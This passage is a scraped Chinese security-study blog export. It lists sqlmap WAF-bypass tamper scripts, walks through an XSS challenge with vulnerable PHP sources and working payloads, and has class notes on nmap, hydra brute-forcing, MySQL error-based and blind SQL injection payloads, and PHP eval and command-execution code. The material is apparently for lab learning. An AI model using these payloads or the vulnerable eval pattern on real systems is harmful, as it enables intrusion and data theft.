分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=” bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=” chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符) charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符) charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符) concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例 equaltolike.py 用“LIKE”运算符替换全部等于号“=” greatest.py 用“GREATEST”函数替换大于号“>” halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释 ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例 lowercase.py 用小写值替换每个关键字字符 modsecurityversioned.py 用注释包围完整的查询 modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询 multiplespaces.py 在SQL关键字周围添加多个空格 nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器 overlongutf8.py 转换给定的payload当中的所有字符 percentage.py 在每个字符之前添加一个百分号 randomcase.py 随机转换每个关键字字符的大小写 randomcomments.py 向SQL关键字中插入随机注释 securesphere.py 添加经过特殊构造的字符串 sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs space2comment.py 用“/**/”替换空格符 space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符 space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符 space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符 space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符 space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符 space2plus.py 用加号“+”替换空格符 space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT” unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF versionedkeywords.py 用MySQL注释包围每个非函数关键字 versionedmorekeywords.py 用MySQL注释包围每个关键字 xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF","categories":[],"tags":[{"name":"mysql","slug":"mysql","permalink":"https://jaychouzzk.github.io/tags/mysql/"},{"name":"sql注入","slug":"sql注入","permalink":"https://jaychouzzk.github.io/tags/sql注入/"}]},{"title":"xss小游戏","slug":"xss小游戏","date":"2019-01-05T16:00:00.000Z","updated":"2019-08-07T20:56:39.355Z","comments":true,"path":"2019/01/06/xss小游戏/","link":"","permalink":"https://jaychouzzk.github.io/2019/01/06/xss小游戏/","excerpt":"","text":"下载链接:https://pan.baidu.com/s/143vKmX0mfmseIFK-iQesYg 参考链接:https://www.secpulse.com/archives/44299.html https://xz.aliyun.com/t/1206 less-1 –>less-4使用鼠标点击事件加”/‘绕过即可 less-5——————<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); //将传递过来的字符串全部变为小写 $str2=str_replace("<script","<scr_ipt",$str); //将"<script"替换成"<scr_ipt" $str3=str_replace("on","o_n",$str2); //将"on"替换成"o_n" echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html> //payload:"><a href="javascript:window.%61lert(1)">123</a> less-6——————–<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html> //payload:"><a Href="javascript:window.alert(1)">123</a> less-7———————<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html> //payload:" oonnclick=window.alert(1);// less-8————————–<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html> //payload:javascri&#x0070;t:alert() less-9—————————-<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level10.php?keyword=well done!"; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) //查找"http://"第一次出现的位置 { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html> //payload:javascri&#x0070;t:alert()//http:// less-10—————————<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> //payload:keyword=&t_sort="onclick=window.alert(1); type="text"// less-11——————————-<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; //获取前一页的url $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 当第10关跳转到第11关的时候,使用burpsuite抓包,修改referer的值即可 //payload:t_sort="onclick=window.alert(1); type="text"// less-12—————————<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level13.php?keyword=good job!"; } </script> <title>欢迎来到level12</title> </head> <body> <h1 align=center>欢迎来到level12</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; //获取User-Agent内容 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 修改user-agent //payload:"onclick=window.alert(1); type="text"// less-13—————————-<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 抓包修改cookie //payload:"onclick=window.alert(1) type="text"// less-14——————————<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center> </body> </html> 第14关不会了,也没有头绪,通过查找发现了一位大佬的blog有写 https://xz.aliyun.com/t/1206 less-15—————————————<html ng-app> <head> <meta charset="utf-8"> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?> 注: ng-include 指令用于包含外部的 HTML 文件。 ng-include 可以作为一个属性,或者一个元素使用 ng-include 里面引用其他页面还要再加单引号,即双引号里面再加单引号 默认情况下,包含的内容还需要在同一域名下 payload:'level1.php?name=test<img src=1 onerror=alert(1)>' less-16————————————-<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html> 使用%0d或%0a绕过 %0a-------"/n" 换行符 %0d--------"/r"回车符 payload:<input%0Donclick=window.alert(1)> less-17——————————-<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html> 这一题。。我的浏览器版本都不支持flash,chrome支持但是过滤了弹窗。。so,只将payload写下来 payload:arg01=a&arg02= onmouseover=alert(1) 第18,19是flash xss,还没研究过,等无聊的时候再看看,可以参考以下链接:https://www.secpulse.com/archives/44299.html","categories":[],"tags":[{"name":"Http","slug":"Http","permalink":"https://jaychouzzk.github.io/tags/Http/"},{"name":"Xss","slug":"Xss","permalink":"https://jaychouzzk.github.io/tags/Xss/"}]},{"title":"第五周笔记","slug":"第五周笔记","date":"2018-12-29T16:00:00.000Z","updated":"2019-08-07T20:56:58.347Z","comments":true,"path":"2018/12/30/第五周笔记/","link":"","permalink":"https://jaychouzzk.github.io/2018/12/30/第五周笔记/","excerpt":"","text":"第五周第一天 OSI七层模型 ip tcp包头 数据 网络层ip 传输层 tcp udp tcp可靠、面向连接 udp:不可靠、面向无连接 应用层:指定数据的格式 练习:用nc软件查看数据包 端口 0~65535 源端口和目的端口各16位 周知端口0~1023 软件预留端口1024~49151 预留动态端口49152~65535 ****常用:53(dns) 21:FTP认证 20:实际传输 23:telnet 25:STMP简单邮件传送 110:POP3接收邮件 80:HTTP 135:smb文件共享 443:https 445:共享服务 1433:sql server 3306:mysql 3389:rdp远程桌面 5432:postgresql 6379:redis 8080:tomcat 10051:zabbix 27017:mongodb TCP协议: 三次握手 seq标记 ack=seq标识位置+1 SYN 四次挥手 FIN UDP协议: IP包头(20字节)+UDP报文头+UDP数据 特点:更精简,占用资源少 使用wireshark抓包工具抓包 HTTP协议 特点: *简单快速只传送请求方法和路径:GET\\POST\\HEAD\\ *灵活 *无连接:每次连接只处理一个请求即断开 *无状态协议:处理事务没有记忆能力 *支持BS和CS架构 URL: *http://admin:123@www.baidu.com:80/new/index.php?id=1# *协议 + http基础认证 +域名 +端口 +路径 +文件名 +参数 +锚部分 URL编码**** ‘’ --%27 “” --%22 # --%23 空格 --%20 % --%25 request请求 1--请求行 (2-空白行之前)--请求头 空白行 请求数据 GET请求 GET /HTTP基础/123.txt /HTTP/1.1 hOST:192.168.11.111:8000 Accept:*/* 换行 POST请求 POST /HTTP基础/123.txt /HTTP/1.1 hOST:192.168.11.111:8000 Accept:*/* 换行 id=123&password=123 请求方法: GET HEAD 用于捕获报头 PUT iis put方法漏洞(自己研究) DELETE 请求删除 CONNECT OPTIONS 允许客户端查看服务器支持的方法 练习:用wireshark抓http数据包 响应 Response 状态行 http/1.1 405 not allowed(状态码) 响应头 空行 相应内容 *状态码 302临时重定向(location) 301永久跳转 百度看一下区别 400 403 禁止访问 404 Not Found 405 不允许 5xx 服务器问题(代码) *重点: 五层模型、tcp三次握手 、 四次挥手 、wireshark、http请求\\响应的行、头、空行、内容 、burpSuite代理,看数据包 *****晚上总结请求头的含义***** 请求头: User-Agent 浏览器的标识信息 Accept-Language 浏览器使用的语言 Accept 是指发送的数据类型 Accept-Encoding 浏览器向中间件发送数据时使用的压缩方式 Host 访问的网站域名+端口 Cookie 网站认证信息 Referer 上一个打开的网站 X-Forwarded-For 客户端代理的IP 电脑 192.168.11.111 120.244.111.247 代理服务器 114.155.123.124 X-Forwarded-For:120.244.111.247 代理服务器 103.343.32.12 X-Forwarded-For:120.244.111.247,114.155.123.124 访问 www.baidu.com 真实IP 120.244.111.247 响应头 Date 日期 GTM时间 和我们UTC时间差8个小时 Set-Cookie cookie的来源(给网站设置cookie) Content-Type 告诉浏览器返回的内容格式 Server 显示中间件的版本信息 X-Powered-By 使用的脚本语言 第五周第三天 一.安装浏览器插件 hackbar、Header Edit、wappalzer、 proxy、server ip 二.在windows 2008上搭建vpn 搭建PPTP连接 1.打开服务管理器--->添加角色---->勾选“网络策略和访问服务 ”------>下一步----->勾选"路由和远程访问服务"--->开始安装 2.角色中出现了“路由和远程访问”,现在是红色的,右键选择配置它,打开向导--->选择自定义配置-->服务里全选-->完成-->变成绿色 3.新增一个接口:ipv4-->NAT--->新建一个接口-->选择要使用的网卡--->接口类型选择“公用接口连接到Internet”,勾选“在此接口上启用NAT” 4.开始菜单-->管理工具-->网络策略服务器-->策略-->网络策略-->把里面的两项被组织的属性改成“授予访问权限” 5.服务器管理器-->配置-->本地用户和组-->添加一个用户-->填写用户名、密码、勾选“用户不能更改密码”和“密码永不过期”,去掉“下次登陆须更改密码”的勾,点创建。 6.开始菜单-->管理工具-->本地安全策略-->本地策略-->用户权限分配-->拒绝本地登陆,添加vpn用户--->拒绝通过远程桌面登陆,添加vpn用户。 7.连接VPN:在客户机创建一个新连接-->选择连接到工作区--->使用我的internet连接-->填写ip地址-->填写之前创建的VPN用户名和密码-->连接即可 三.docker: sudo apt-get install docker.io 安装加速器https://yeasy.gitbooks.io/docker_practice/install/mirror.html 或者在 /etc/docker/daemon.json 中写入 { "registry-mirrors": ["https://registry.docker-cn.com"] } sudo docker run --rm -it alpine /bin/sh 在docker中启动ubuntu:sudo docker run --rm -it ubuntu /bin/sh 在docker中启动centOS:sudo docker run --rm -it centos /bin/sh 四.VPN :PPTP L2TP 第一种连接方法: 1.把镜像拉入虚拟机: 2.docker pull mobtitude/vpn-pptp 然后创建一个文件chap-secrets,打开写入 name * password * 并记住路径/vpn-k 3.docker run -d --privileged --net host -v /root/chap-secrets:/ppp/chap-secrets mobtitude/vpn-pptp 第二种连接方法: 1.docker pull hwdsl2/ipsec-vpn-server 2.modprobe af_key 3.VPN_IPSEC_PSK=ipsec-keydoc VPN_USER=uname VPN_PASSWORD=upass 4.docker run --name vpn-docker --privileged --env-file /root/vpn.env -p 500:500/udp -p 4500:4500/udp -v /lib/modules:/lib/modules:ro -d --privileged hwdsl2/ipsec-vpn-server 第三种方法: 使用shadowsocks工具代理连接VPN 1.apt install shadowsocks先安装 2.修改配置文件 vi /etc/shadowsocks/config.json "server":"0.0.0.0", "server_port":8888, "local_address": "127.0.0.1", "local_port":1080, "password":"123456", "timeout":300, "method":"aes-256-cfb", "fast_open": false, "workers": 1, "prefer_ipv6": false 3.(可选)开启BBR加速支持echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf sysctl -p lsmod | grep bbr 第五周第四天 渗透测试:白盒黑盒 流程: 1.前期沟通 2.信息搜集(四五天) 3,威胁建模:根据信息进行分析攻击点(一天) 4.渗透测试:根据分析进行攻击 5.后渗透测试:根据测试结果进行更多尝试 6.写报告 www.exploit-db.com https://www.somd5.com/ https://blog.csdn.net/u012278016/article/details/81772566 扫描工具: 测网站漏洞工具: AWVS(通过爬虫进行网站漏洞测试)的安装 网站漏洞扫描https://butian.360.cn/Register/补天公益 啊d-->ASP网站 sql注入工具 sqlmap 综合平台类: BurpSuite、Metasploit 搜集域名信息 //子域名:news.baidu.com这种 子域名挖掘:subDomainsBrute、子域名挖掘机 端口扫描:NMAP---功能强大,隐蔽 安装vc扩展、npcap组件,增加环境变量 扫描指定ip: nmap ip 原理:只发送SYN,不建立连接 nmap -Pn 强制为激活的主机,进行强制扫描 nmap -sn 主机发现 nmap -sn -oX Desktop/report.mxl报告输出到文件 nmap -sS 半开放扫描(默认方式) nmap -p 80 指定扫描端口 nmap -O ip 探测操作系统版本 nmap -A 详细信息 nmap -iL 目录 根据ip列表进行扫描 nmap -iL 目录 --webxml 文件名 把结果以xml形式输出到文件 python环境安装 1.安装python2.7 2.在家目录下创建.pip文件夹,把源文件移动进去 3.执行pip install requests 字典生成工具 pentest.db工具 解压,在目录中用cmd执行pip install lxml 使用 python pen.py 帮助 python pen.py --help 爆破工具 *BurpSuite *hydra*** hydra -l用户名 -p密码字典 -s指定非默认端口 -e ns空密码试探 -f成功后立刻停止 例子:hydra -l root -P 目录 -s 3308 -e ns -t 5 114.115.175.102 mysql 报错注入–长度受限制,30个字符 floor() --- select * from stu where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key' --- select * from stu where id=2 and (select 1 from (select count(*),concat((select mid(group_concat(schema_name),1,153)from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry 'information_schema,challenges,dvwa,mysql,pentest,performance_sch' for key 'group_key' --- mid('hello',1,1)=>支持老版本 substr('hello',1,1)=>不支持老版本 extractvalue(): --- select * from stu where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~' --- select * from stu where id=1 and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables),0x7e))); ERROR 1105 (HY000): XPATH syntax error: '~CHARACTER_SETS,COLLATIONS,COLLA' --- updatexml(): --- select * from stu where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~' --- select * from stu where id=1 and (updatexml(1,concat(0x7e,(select mid(group_concat(schema_name),1,25)from information_schema.schemata),0x7e),1)); ERROR 1105 (HY000): XPATH syntax error: '~information_schema,challe~' --- insert: insert into user(1,2,3) value('1','2','3'); 123',1,2)# ascii()将字符转为十进制 Boolean类型盲注: ?id=1%27%20%20and mid(user(),1,100)='root@localhost' # --- ?id=1%27%20%20and ascii(mid(user(),1,1))>100 # --- (select length(group_concat)from information_schema.schemata)>100 --- 延时盲注: 1 and sleep(5) %23 1) and sleep(5) %23 1)) and sleep(5) %23 1' and sleep(5) %23 1') 1')) and sleep(5) %23 1" and sleep(5) %23 1") and sleep(5) %23 1")) and sleep(5) %23","categories":[],"tags":[{"name":"Http","slug":"Http","permalink":"https://jaychouzzk.github.io/tags/Http/"},{"name":"Mysql,sql注入","slug":"Mysql,sql注入","permalink":"https://jaychouzzk.github.io/tags/Mysql,sql注入/"}]},{"title":"第四周笔记","slug":"第四周笔记","date":"2018-12-22T16:00:00.000Z","updated":"2019-08-07T20:57:14.323Z","comments":true,"path":"2018/12/23/第四周笔记/","link":"","permalink":"https://jaychouzzk.github.io/2018/12/23/第四周笔记/","excerpt":"","text":"第四周周一PHP表单处理: 超全局变量$_POST $_GET $_REQUEST 他们都是数组 $_POST 提交表单 提交方式method=”POST” 提交name=”username” value=”1” <input type=”submit” name=”submit”> 接收: $user=$_POST["username"] $submit=$_POST["submit"] 跳转: PHP跳转 header("Location: login.php"); JS跳转 echo '&lt;script&gt;location.href="install.php";&lt;/script&gt;' $_GET: 发送 <a href=””>登录</a> 接收 : $id=$_GET['name'] echo $id; $_REQUEST: 能接收POST和GET两种数据 PHP文件操作(filesystem函数): fread()函数读取打开的文件 fwrite()函数写入一个打开的文件 unlink()函数删除文件 is_dir检查文件是否是目录 is_file()检查是否常规文件 file_exists()检查文件是否存在 copy()复制文件 rename()重命名文件或目录 file_get_contents(文件名) 读取整个文件内容,***打开远程文件*** php://filter file_get_contents() echo file_get_contents("http://www.baidu.com") file_put_contents(文件名) 覆盖写入文件 $f=fopen('login.php','r');//打开一个文件 指向开头 echo fgets($f); //读一行 feof($f) ; //检测是否到文件末尾 while (!feof($f)){ //用while循环输出文件内容 直到文件末尾 echo fgets($f); //输出每行的内容 } fclose($f); PHP文件打开方式 r 只读,在开头开始 r+ 读写,在开头开始 w 只写,清空内容,如果不存在创建新文件 w+ 读写,清空文件,不存在则创建新文件 a 追加 在末尾进行写操作,可以创建新文件 a+ 读或追加 末尾写内容 x 只写(新建) x+ 读写(新建) //X-Forwarded-For火狐的header插件(记录网站IP) //display_error关闭网站就不会报错 PHP中的代码执行: eval("") 例子:eval("echo 123;\\$a='aaa';"); echo $a; //结果123aaa eval("\\$a=Array();"); //字符串转换成代码执行 print_r($a); preg_replace("a/123/e",'$c=123',"abab"); //第一个路径后有e 则第二个代码能被执行 $func = create_function('','代码') $_GET['a']($_GET['b']); 课堂实验:制作一个eval计算器 &lt;form action="" method="post"&gt; 请输入要计算的内容: &lt;input type="text" name="eval" value="Rg:1+2-3"&gt; &lt;input type="submit"&gt; &lt;/form&gt; &lt;?php @$eval=($_POST['eval']); if ($eval){ @eval("\\$res=$eval;"); echo "结果是:$res"; } ?&gt; PHP命令执行: exec(“dir-l ~/“,$output); //output用来反馈结果 print_r($output); system("命令") //不需要接收 @output=shell_exec("whoami",$output); print_r($output); popen() 打开一个进程 $_GET‘a’ 5.6以下 a = assert&b = phpinfo() 7 a = assert&b = phpinfo() 会报assert参数错误,不能为动态变量 file操作 fopen 打开方式: r w a x fclose 关闭文件 fgets 获取一行的数据 feof 判断是否到文件结尾 结合while读取内容 while(!feof($f)){ echo $fgets($f);} fread 读取文件内容,需要指定$f的长度 fwrite 写内容,需要指定$f和写入字符串 is_file is_dir file_exists unlink copy remname file_get_contents (‘./data/123.txt’);file_get_contents (‘./data/123.txt’,’abcdef’); eval eval(‘echo 123;’) eval(“$a = 123;”) eval(“\\$arr = [‘name’=>zs]”) 计算器: eval(“\\$res = $_POST[‘str’];”) echo $res; 执行系统命令的函数:execexec(‘dir’,$output);print_r($output); systemsystem(‘whoami’); shell_exec$outpu = shell_exec(‘ipconfig’);print_r($outpu); popen(有小问题)$f = popen(“dir”,”r”);echo fread($f , 1000);pclose($f); 周二文件包含: include ‘show.php’;//只会警告,脚本继续require ‘show.php’;//会产生致命错误,停止脚本 include_oncerequire_once include 在php文件开始运行的时候就包含,复制的位置还是关键字的地方require 在执行到require关键字的时候才包含 一般用于包含导航栏,包含配置文件 Cookie: setcookie(name,value,expire:time()+过期时间); 防止伪造cookie 生成cookie$tmp = rand(1,1000); $tmp = $uname . $tmp . time(); $tmp = md5($tmp); $f = fopen($tmp, ‘a’); fwrite($f,$uname); fclose($f); setcookie(‘id’, $tmp, time()+50);校验cookie@$id = $_COOKIE[‘id’] if(file_exists(‘./data/session_’ . $id)){ $f = fopen('./data/session_' . $id , 'r'); $uname = fgets($f); fclose($f); } Session $_SESSION(超全局变量,信息存储于服务器硬盘当中): session_start() //启用session $_SESSION[‘name’] = ‘zs’ //存入用户名 if(isset($_SESSION[‘name’])){ //判断是否存在} session_destroy() //清空session缓存 跳转:header(“Location: show.php”); <script>location.href=’show.php’</script> <script>location.navigate=’show.php’</script>//待测 <script>top.location=’show.php’</script> <script>self.location=’show.php’</script> <script>location.replace=’show.php’</script> <meta http-equiv=refresh content=0;URL=’show.php’>上传文件:<form enctype=”multipart/form-data” method=”post”> <input type=”file” name=””> <input type=”submit”> </form>if (isset($_FILES[‘filename’])){ if($_FILES[‘filename’][‘error’] == 0){ echo ‘文件的名字是:’ . $_FILES[‘filename’][‘name’] . “<br>”; echo ‘类型是:’ . $_FILES[‘filename’][‘type’] . “<br>”; echo ‘大小是:’ . $_FILES[‘filename’][‘size’] . “<br>”; echo ‘临时目录是:’ . $_FILES[‘filename’][‘tmp_name’] . “<br>”; 读写 //$data = file_get_contents($_FILES[‘filename’][‘tmp_name’]); //file_put_contents(‘./data/‘ . $_FILES[‘filename’][‘name’],$data); 拷贝 //copy($_FILES[‘filename’][‘tmp_name’],’./data/‘ . $_FILES[‘filename’][‘name’]); 一般是用剪切,而不用copy和读写剪切 $ok = move_uploaded_file($_FILES[‘filename’][‘tmp_name’],’./data/‘ . $_FILES[‘filename’][‘name’]); if ($ok){ echo '上传的路径为:./data/' . $_FILES['filename']['name']; }else{ echo '上传失败'; } }else{ echo 